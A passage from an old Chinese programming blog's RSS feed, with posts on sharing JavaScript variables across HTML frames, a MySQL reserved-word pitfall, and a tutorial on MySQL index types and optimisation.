数据公用<br/>可以在框架页面定义数据项，使得该数据可以被多个框架中的页面公用<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var persistentVariable = “This is a persistent value”;<br/>3: &lt;/script&gt;<br/>4: &lt;frameset cols=”50%,*”&gt;<br/>5: &lt;frame name=”frame1” src=&quot;/”138a.html&quot;”&gt;<br/>6: &lt;frame name=”frame2” src=&quot;/”138b.html&quot;”&gt;<br/>7: &lt;/frameset&gt; &nbsp;<br/><br/><br/>这样在frame1和frame2中都可以使用变量persistentVariable &nbsp;<br/>70 框架代码库<br/>根据以上的一些思路，我们可以使用一个隐藏的框架页面来作为整个框架集的代码库<br/><br/>1: &lt;frameset cols=”0,50%,*”&gt;<br/>2: &lt;frame name=”codeFrame” src=&quot;/”140code.html&quot;”&gt;<br/>3: &lt;frame name=”frame1” src=&quot;/”140a.html&quot;”&gt;<br/>4: &lt;frame name=”frame2” src=&quot;/”140b.html&quot;”&gt;<br/>5: &lt;/frameset&gt;
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?262</link>
<title><![CDATA[mysql保留字]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Sun, 02 Sep 2007 15:12:36 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?262</guid> 
<description>
<![CDATA[ 
	就一条insert into语句。。耗了2个多小时<br/>看着那条语句。前前后后看半天没发现哪错啊。。<br/>最后才找着。。。MYSQL的保留字。FT<br/><br/>附：MYSQL5.1参考手册<br/>MySQL中保留字的处理<br/>http://dev.mysql.com/doc/refman/5.1/zh/language-structure.html#reserved-words
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?251</link>
<title><![CDATA[加速动态网站 MySQL索引分析和优化]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Sat, 18 Aug 2007 12:23:09 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?251</guid> 
<description>
<![CDATA[ 
	一、什么是索引？ <br/><br/>索引用来快速地寻找那些具有特定值的记录，所有MySQL索引都以B-树的形式保存。如果没有索引，执行查询时MySQL必须从第一个记录开始扫描整个表的所有记录，直至找到符合要求的记录。表里面的记录数量越多，这个操作的代价就越高。如果作为搜索条件的列上已经创建了索引，MySQL无需扫描任何记录即可迅速得到目标记录所在的位置。如果表有1000个记录，通过索引查找记录至少要比顺序扫描记录快100倍。 <br/><br/>假设我们创建了一个名为people的表： <br/><div class="code">CREATE TABLE people ( peopleid SMALLINT NOT NULL, <br/>name CHAR(50) NOT NULL );</div><br/>然后，我们完全随机把1000个不同name值插入到people表。在数据文件中name列没有任何明确的次序。如果我们创建了name列的索引，MySQL将在索引中排序name列,对于索引中的每一项，MySQL在内部为它保存一个数据文件中实际记录所在位置的“指针”。因此，如果我们要查找name等于“Mike”记录的peopleid（SQL命令为“SELECT peopleid FROM people WHERE name='Mike';”），MySQL能够在name的索引中查找“Mike”值，然后直接转到数据文件中相应的行，准确地返回该行的peopleid（999）。在这个过程中，MySQL只需处理一个行就可以返回结果。如果没有“name”列的索引，MySQL要扫描数据文件中的所有记录，即1000个记录！显然，需要MySQL处理的记录数量越少，则它完成任务的速度就越快。 <br/><br/>二、索引的类型 <br/><br/>MySQL提供多种索引类型供选择： <br/><br/>普通索引 : <br/><br/>这是最基本的索引类型，而且它没有唯一性之类的限制。普通索引可以通过以下几种方式创建： <br/><br/>创建索引，例如CREATE INDEX <索引的名字> ON tablename (列的列表)； <br/><br/>修改表，例如ALTER TABLE tablename ADD INDEX [索引的名字] (列的列表)； <br/><br/>创建表的时候指定索引，例如CREATE TABLE tablename ( [...], INDEX [索引的名字] (列的列表) )； <br/><br/>唯一性索引: <br/><br/>这种索引和前面的“普通索引”基本相同，但有一个区别：索引列的所有值都只能出现一次，即必须唯一。唯一性索引可以用以下几种方式创建： <br/><br/>创建索引，例如CREATE UNIQUE INDEX <索引的名字> ON tablename (列的列表)； <br/><br/>修改表，例如ALTER TABLE tablename ADD UNIQUE [索引的名字] (列的列表)； <br/><br/>创建表的时候指定索引，例如CREATE TABLE tablename ( [...], UNIQUE [索引的名字] (列的列表) )； <br/><br/>主键 : <br/><br/>主键是一种唯一性索引，但它必须指定为“PRIMARY KEY”。如果你曾经用过AUTO_INCREMENT类型的列，你可能已经熟悉主键之类的概念了。主键一般在创建表的时候指定，例如“CREATE TABLE tablename ( [...], PRIMARY KEY (列的列表) ); ”。但是，我们也可以通过修改表的方式加入主键，例如“ALTER TABLE tablename ADD PRIMARY KEY (列的列表); ”。每个表只能有一个主键。 <br/><br/>全文索引: <br/><br/>MySQL从3.23.23版开始支持全文索引和全文检索。在MySQL中，全文索引的索引类型为FULLTEXT。全文索引可以在VARCHAR或者TEXT类型的列上创建。它可以通过CREATE TABLE命令创建，也可以通过ALTER TABLE或CREATE INDEX命令创建。对于大规模的数据集，通过ALTER TABLE（或者CREATE INDEX）命令创建全文索引要比把记录插入带有全文索引的空表更快。本文下面的讨论不再涉及全文索引，要了解更多信息，请参见MySQL documentation。 <br/><br/>三、单列索引与多列索引 <br/><br/>索引可以是单列索引，也可以是多列索引。下面我们通过具体的例子来说明这两种索引的区别。假设有这样一个people表： <br/><br/><div class="code">CREATE TABLE people ( peopleid <br/>SMALLINT NOT NULL AUTO_INCREMENT,<br/>firstname CHAR(50) NOT NULL, lastname CHAR(50) NOT NULL, <br/>age SMALLINT NOT NULL,<br/>townid SMALLINT NOT NULL, PRIMARY KEY (peopleid) );</div><br/>下面是我们插入到这个people表的数据： <br/><br/>这个数据片段中有四个名字为“Mikes”的人（其中两个姓Sullivans，两个姓McConnells），有两个年龄为17岁的人，还有一个名字与众不同的Joe Smith。 <br/><br/>这个表的主要用途是根据指定的用户姓、名以及年龄返回相应的peopleid。例如，我们可能需要查找姓名为Mike Sullivan、年龄17岁用户的peopleid（SQL命令为SELECT peopleid FROM people WHERE firstname='Mike' AND lastname='Sullivan' AND age=17；）。由于我们不想让MySQL每次执行查询就去扫描整个表，这里需要考虑运用索引。 <br/><br/>首先，我们可以考虑在单个列上创建索引，比如firstname、lastname或者age列。如果我们创建firstname列的索引（ALTER TABLE people ADD INDEX firstname (firstname)；），MySQL将通过这个索引迅速把搜索范围限制到那些firstname='Mike'的记录，然后再在这个“中间结果集”上进行其他条件的搜索：它首先排除那些lastname不等于“Sullivan”的记录，然后排除那些age不等于17的记录。当记录满足所有搜索条件之后，MySQL就返回最终的搜索结果。 <br/><br/>由于建立了firstname列的索引，与执行表的完全扫描相比，MySQL的效率提高了很多，但我们要求MySQL扫描的记录数量仍旧远远超过了实际所需要的。虽然我们可以删除firstname列上的索引，再创建lastname或者age列的索引，但总地看来，不论在哪个列上创建索引搜索效率仍旧相似。 <br/><br/>为了提高搜索效率，我们需要考虑运用多列索引。如果为firstname、lastname和age这三个列创建一个多列索引，MySQL只需一次检索就能够找出正确的结果！下面是创建这个多列索引的SQL命令： <br/><br/>ALTER TABLE people ADD INDEX fname_lname_age (firstname,lastname,age)； <br/><br/>由于索引文件以B-树格式保存，MySQL能够立即转到合适的firstname，然后再转到合适的lastname，最后转到合适的age。在没有扫描数据文件任何一个记录的情况下，MySQL就正确地找出了搜索的目标记录！ <br/><br/>那么，如果在firstname、lastname、age这三个列上分别创建单列索引，效果是否和创建一个firstname、lastname、age的多列索引一样呢？答案是否定的，两者完全不同。当我们执行查询的时候，MySQL只能使用一个索引。如果你有三个单列的索引，MySQL会试图选择一个限制最严格的索引。但是，即使是限制最严格的单列索引，它的限制能力也肯定远远低于firstname、lastname、age这三个列上的多列索引。 <br/><br/>四、最左前缀 <br/><br/>多列索引还有另外一个优点，它通过称为最左前缀（Leftmost Prefixing）的概念体现出来。继续考虑前面的例子，现在我们有一个firstname、lastname、age列上的多列索引，我们称这个索引为fname_lname_age。当搜索条件是以下各种列的组合时，MySQL将使用fname_lname_age索引： <br/><div class="code">firstname，lastname，age<br/>firstname，lastname<br/>firstname</div><br/>从另一方面理解，它相当于我们创建了(firstname，lastname，age)、(firstname，lastname)以及(firstname)这些列组合上的索引。下面这些查询都能够使用这个fname_lname_age索引：<br/><div class="code">SELECT peopleid FROM people <br/>WHERE firstname=&#039;Mike&#039; AND lastname=&#039;Sullivan&#039; AND age=&#039;17&#039;; <br/>SELECT peopleid FROM people WHERE firstname=&#039;Mike&#039; AND lastname=&#039;Sullivan&#039;; <br/>SELECT peopleid FROM people WHERE firstname=&#039;Mike&#039;; <br/>The following queries cannot use the index at all: <br/>SELECT peopleid FROM people WHERE lastname=&#039;Sullivan&#039;; <br/>SELECT peopleid FROM people WHERE age=&#039;17&#039;; <br/>SELECT peopleid FROM people WHERE lastname=&#039;Sullivan&#039; AND age=&#039;17&#039;;</div><br/>五、选择索引列 <br/><br/>在性能优化过程中，选择在哪些列上创建索引是最重要的步骤之一。可以考虑使用索引的主要有两种类型的列：在WHERE子句中出现的列，在join子句中出现的列。请看下面这个查询： <br/><div class="code">SELECT age ## 不使用索引<br/>FROM people WHERE firstname=&#039;Mike&#039; ## 考虑使用索引<br/>AND lastname=&#039;Sullivan&#039; ## 考虑使用索引</div><br/>这个查询与前面的查询略有不同，但仍属于简单查询。由于age是在SELECT部分被引用，MySQL不会用它来限制列选择操作。因此，对于这个查询来说，创建age列的索引没有什么必要。下面是一个更复杂的例子： <br/><div class="code">SELECT people.age, ##不使用索引<br/>town.name ##不使用索引<br/>FROM people LEFT JOIN town ON<br/>people.townid=town.townid ##考虑使用索引<br/>WHERE firstname=&#039;Mike&#039; ##考虑使用索引<br/>AND lastname=&#039;Sullivan&#039; ##考虑使用索引</div><br/>与前面的例子一样，由于firstname和lastname出现在WHERE子句中，因此这两个列仍旧有创建索引的必要。除此之外，由于town表的townid列出现在join子句中，因此我们需要考虑创建该列的索引。那么，我们是否可以简单地认为应该索引WHERE子句和join子句中出现的每一个列呢？差不多如此，但并不完全。我们还必须考虑到对列进行比较的操作符类型。MySQL只有对以下操作符才使用索引：<，<=，=，>，>=，BETWEEN，IN，以及某些时候的LIKE。可以在LIKE操作中使用索引的情形是指另一个操作数不是以通配符（%或者_）开头的情形。例如，“SELECT peopleid FROM people WHERE firstname LIKE 'Mich%';”这个查询将使用索引，但“SELECT peopleid FROM people WHERE firstname LIKE '%ike';”这个查询不会使用索引。
]]>
</description>
</item>
</channel>
</rss>